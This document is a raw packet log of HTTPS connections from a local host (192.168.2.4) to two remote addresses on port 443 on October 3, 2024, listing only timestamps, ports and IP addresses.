Oct 3, 2024 10:42:00.265212059 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.265233040 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.266871929 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.266925097 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.267043114 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.269010067 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.269020081 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.269073009 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.277715921 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.277757883 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.278393030 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.278408051 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.279510021 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.279582977 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.279891968 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.279922962 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.282874107 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.282912970 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.283147097 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.283169031 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.283178091 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.283674002 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.283680916 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.284281969 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.284300089 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.285607100 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.285636902 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.287815094 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.287830114 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.297843933 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.297873020 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.297936916 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.301054001 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.301100016 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.301168919 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.304378986 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.304394960 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.304567099 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.307615042 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.307631016 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.309640884 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.309663057 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.311104059 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.311120033 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.570991039 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.571036100 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.571167946 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.572223902 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.572238922 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.577835083 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.577869892 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.577919960 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.578133106 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.578150034 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.580660105 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.580698013 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.580748081 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.580972910 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.580985069 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.582451105 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.582461119 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.582509995 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.582931995 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.582945108 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.583362103 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.583385944 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.583441973 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.583957911 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:00.583969116 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:00.992959023 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.994692087 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.994708061 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.995276928 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.995827913 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:00.995894909 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:00.996011972 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.008879900 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.011473894 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.012031078 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.012039900 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.012164116 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.012192965 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.012423038 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.013324022 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.013384104 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.013945103 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.014014959 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.015336037 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.015434980 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.016089916 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.016140938 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.016158104 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.027704954 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.027981997 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.027997971 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.029508114 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.029581070 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.029939890 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.030018091 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.030109882 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.030118942 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.039410114 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.048537016 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.049015045 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.049062014 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.050147057 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.050231934 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.050587893 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.050693035 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.050750017 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.050766945 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.051402092 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.051620007 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.051635027 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.052649975 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.052721024 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.053122997 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.053186893 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.053261042 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.053272009 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.062246084 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.063410044 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.078138113 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.094137907 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.094363928 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.270606041 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.270673990 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.270714998 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.270730019 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.270759106 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.270762920 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.270802021 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.288263083 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288291931 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288305044 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288341999 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.288363934 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288379908 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.288386106 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288399935 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.288424969 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.288717031 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288746119 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288767099 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288774014 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288780928 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288794994 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.288825035 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.288842916 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.290399075 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.290446043 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.303731918 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.305267096 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.305293083 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.305330992 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.305340052 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.305346966 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.305371046 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.305385113 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.305396080 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.305416107 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.305433989 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.305658102 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.305674076 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.306485891 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.306533098 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.306543112 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.306557894 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.306598902 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.306869984 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.307364941 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.307646990 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.307743073 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.309262991 CEST	50197	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.309293032 CEST	443	50197	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.309747934 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.309782982 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.309956074 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.310659885 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.310673952 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.312622070 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.312653065 CEST	443	50199	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.312669992 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.312695980 CEST	50199	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.312783003 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.313393116 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.313426018 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.314218044 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.314407110 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.314420938 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.314517975 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.314579964 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.314886093 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.315005064 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.315529108 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.318520069 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.318574905 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.318927050 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.318968058 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.319016933 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.319272995 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.319339991 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.319469929 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.319489956 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.319567919 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.319575071 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.325592995 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.326432943 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.326448917 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.326605082 CEST	50200	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.326620102 CEST	443	50200	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.326740026 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.326885939 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.326951027 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.326982021 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.327002048 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.327030897 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.327151060 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.327647924 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.327713966 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.327961922 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.327976942 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.328428030 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.329396009 CEST	50202	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.329440117 CEST	443	50202	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330765963 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330800056 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330830097 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330846071 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330854893 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.330857038 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330883026 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.330919027 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.330940008 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.333494902 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.333542109 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.333601952 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.333895922 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.333914995 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.339824915 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.340122938 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.340146065 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.341237068 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.341321945 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.341830015 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.341911077 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.342017889 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.342034101 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.345510006 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.345546007 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.345706940 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.345957041 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.345971107 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.348231077 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.350384951 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.350419044 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.350452900 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.350478888 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.350493908 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.350512981 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.356537104 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.356561899 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.356607914 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.356631994 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.356648922 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.356667995 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.364166975 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.364233017 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.371402979 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.383678913 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.415447950 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.415476084 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.415564060 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.415592909 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.415745974 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.415756941 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.421602011 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.421626091 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.421694040 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.421711922 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.421776056 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.421776056 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.435839891 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.435872078 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.435920000 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.435945034 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.435981035 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.436048985 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.436528921 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.436546087 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.436589003 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.436599970 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.436635017 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.438241005 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.438255072 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.438322067 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.438335896 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.438684940 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.440696001 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.440772057 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.440773010 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.440790892 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.440808058 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.440844059 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.441534042 CEST	50198	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.441553116 CEST	443	50198	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.447670937 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.505561113 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.505587101 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.505676985 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.505753040 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.505791903 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.506915092 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.506941080 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.506998062 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.507020950 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.507047892 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.507066965 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.507160902 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.507196903 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.507225037 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.507239103 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.507265091 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.507292032 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.507318974 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.508882046 CEST	50201	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:01.508915901 CEST	443	50201	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:01.575627089 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.583792925 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.585191965 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.585216045 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.585242987 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.585256100 CEST	443	50203	18.245.86.14	192.168.2.4
